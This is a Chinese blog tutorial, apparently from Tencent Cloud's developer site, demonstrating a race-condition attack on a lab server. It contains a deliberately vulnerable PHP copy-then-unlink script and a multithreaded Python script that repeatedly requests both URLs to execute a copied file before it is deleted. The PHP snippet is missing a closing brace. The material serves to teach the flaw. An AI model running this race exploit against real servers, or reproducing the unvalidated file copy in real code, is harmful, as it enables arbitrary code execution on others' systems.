条件竞争是真的好玩,佛了
先上例子
<?php
print("Hello,This is test server");
if(isset($_GET['src'])){
copy($_GET['src'],$_GET['dst']);
unlink($_GET['dst']);
}
else{
print("Error!");
?>
这是典型的条件竞争利用的点
正常的服务器操作,是copy参数src的文件名和参数dst的文件名,复制完毕后,立马unlink删除
那么条件竞争呢,就是利用复制完毕,卡还没来得及删除的时间点,访问文件,执行恶意代码,而恶意代码已经执行完成了,那么文件删不删除都不重要了
具体的流程如下图 ↓
一目了然,小天才说的就是我吧
首先现在靶机安装httpd服务,再安装php 完成后,开始配置环境
Elapse.php和file.php的内容为
Elapse.php:
<?php
print("Hello,This is test server");
if(isset($_GET['src'])){
copy($_GET['src'],$_GET['dst']);
unlink($_GET['dst']);
}
else{
print("Error!");
?>
-----------优秀的分割线-----------
file.php:
<?php
$myfile = fopen("test.txt","w");
$txt = "ElapseNB\n";
fwrite($myfile,$txt);
?>
具体利用方式就是,通过访问Elapse.php,传入参数将file.php copy出来然后同时访问新文件 这里用的是python3多线程
import requests
import threading
url1 = 'http://192.168.1.111/Elapse.php?src=file.php&dst=myfile.php'
url2 = 'http://192.168.1.111/myfile.php'
def filecreate(url):
while True:
try:
requests.get(url)
except:
print("not find file")
def main():
threads = []
for e in range(10):
t1 = threading.Thread(target=filecreate,args=(url1,))
t2 = threading.Thread(target=filecreate,args=(url2,))
threads.append(t1)
threads.append(t2)
t1.start()
t2.start()
print("Successful!")
if __name__ == '__main__':
main()
创建两个线程,同时访问两个url 运行结果:
在服务器中可以看到多出来了一个文件,内容为ElapseNB
扫码关注腾讯云开发者
领取腾讯云代金券
Copyright © 2013 - 2025 Tencent Cloud. All Rights Reserved. 腾讯云 版权所有
深圳市腾讯计算机系统有限公司 ICP备案/许可证号:粤B2-20090059 深公网安备号 44030502008569
腾讯云计算(北京)有限责任公司 京ICP证150476号 | 京ICP备11018762号 | 京公网安备号11010802020287
Copyright © 2013 - 2025 Tencent Cloud.
All Rights Reserved. 腾讯云 版权所有